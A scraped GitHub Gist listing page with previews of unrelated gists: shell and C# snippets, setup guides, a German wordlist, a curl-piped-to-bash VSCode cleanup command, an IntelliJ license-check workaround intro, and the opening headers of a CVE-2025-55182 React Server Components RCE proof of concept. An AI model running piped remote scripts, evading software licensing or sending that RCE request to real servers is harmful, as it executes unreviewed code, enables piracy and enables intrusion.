Skip to content

Instantly share code, notes, and snippets.

@hateshape
hateshape / otpme.sh
Created January 18, 2024 21:00
OTP to your clipboard via CLI shenanigans and meh codes
#!/bin/bash
################################## INFOS ##################################
# Depends on exported otpauth-migration://offline from Google authenticator
# dependencies: expect oathtool otp_export python3-protobuf python3-urllib3 xclip zbarimg
# shellcheck disable=SC1087 disable=SC2128
###########################################################################
addkeys() {
if [[ -s "$OTPEXPORTTMP" && -n "$OTPEXPORTTMP" ]]; then
OTPEXPORT=$(zbarimg -q "$OTPEXPORTTMP" | sed 's#QR-Code:##g')
elif [[ ! -s "$OTPEXPORTTMP" && -n "$OTPEXPORTTMP" ]]; then
@XDflight
XDflight / README.md
Last active December 5, 2025 20:28
Remove cache and old extensions under "~/.vscode-server/" on your Linux server

If you often connect to your Linux server using VSCode, the "~/.vscode-server/" folder (and sometimes the ~/.cache/ folder too) can get very large because VSCode:

  1. Does NOT clean its download cache after installing extensions;
  2. Does NOT delete old extensions after updating them;
  3. Does NOT remove old VSCode servers after installing a new version.

If your server storage space is limited, you might consider cleaning "~/.vscode-server/" (and ~/.cache/) regularly using the bash script I wrote. Simply run the following command:

curl -sL https://gist.githubusercontent.com/XDflight/5f3509eb84fc282b88059c909036f5bc/raw/b6b02d41c66c84d6332eb947c669dcd8973f393e/clean_vscode-server.sh | bash -s
@nort3x
nort3x / readme.md
Last active December 5, 2025 20:28
Intellij License Activation 2025 - don't use ja-netfilter

Intro

I personally experienced slow downs and problems using ja-netfilter agent

i decided to inspect how jetbrains check for validity of licenses(because despite the fact i exclusivly told jetbrains to work-offline it still check the licesnse)

these are my conlusions: two domains are responsible for revoking invalid licenses:

@kernc
kernc / README.md
Last active December 5, 2025 20:23
A4 Thermal Printer Linux driver
@ConnerWill
ConnerWill / ANSI-escape-sequences.md
Last active December 5, 2025 20:19
ANSI Escape Sequences cheatsheet

ANSI Escape Sequences

Standard escape codes are prefixed with Escape:

  • Ctrl-Key: ^[
  • Octal: \033
  • Unicode: \u001b
  • Hexadecimal: \x1B
  • Decimal: 27
@cemerson
cemerson / c#_convertImageGrayscale.cs
Created December 26, 2018 17:39
C# Convert Image Grayscale
// source: https://stackoverflow.com/a/3054357/826308
public static Image ConvertToGrayscale(Image image)
{
Image grayscaleImage = new Bitmap(image.Width, image.Height, image.PixelFormat);
// Create the ImageAttributes object and apply the ColorMatrix
ImageAttributes attributes = new System.Drawing.Imaging.ImageAttributes();
ColorMatrix grayscaleMatrix = new ColorMatrix(new float[][]{
new float[] {0.299f, 0.299f, 0.299f, 0, 0},
new float[] {0.587f, 0.587f, 0.587f, 0, 0},
@tomdaley92
tomdaley92 / README.md
Last active December 5, 2025 20:15
Proxmox - SPICE Client setup for MacOS

Proxmox - SPICE client setup for MacOS

  1. Install a working (and compiled) version of virt-viewer. You may view the homebrew package's upstream source on GitHub.

    brew tap jeffreywildman/homebrew-virt-manager
    brew install virt-viewer
  2. Once that's installed should be able make a call remote-viewer with a pve-spice.vv file downloaded from proxmox web interface

@MarvinJWendt
MarvinJWendt / wordlist-german.txt
Created September 7, 2017 03:19
All german words (german wordlist).
This file has been truncated, but you can view the full file.
AA
AAA
Aachen
Aachener
Aachenerin
Aachenerinnen
Aachenern
Aacheners
Aachens
@maple3142
maple3142 / CVE-2025-55182.http
Last active December 5, 2025 20:22
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
@priyanshujain
priyanshujain / datasets.md
Last active December 5, 2025 20:13
open and public datasets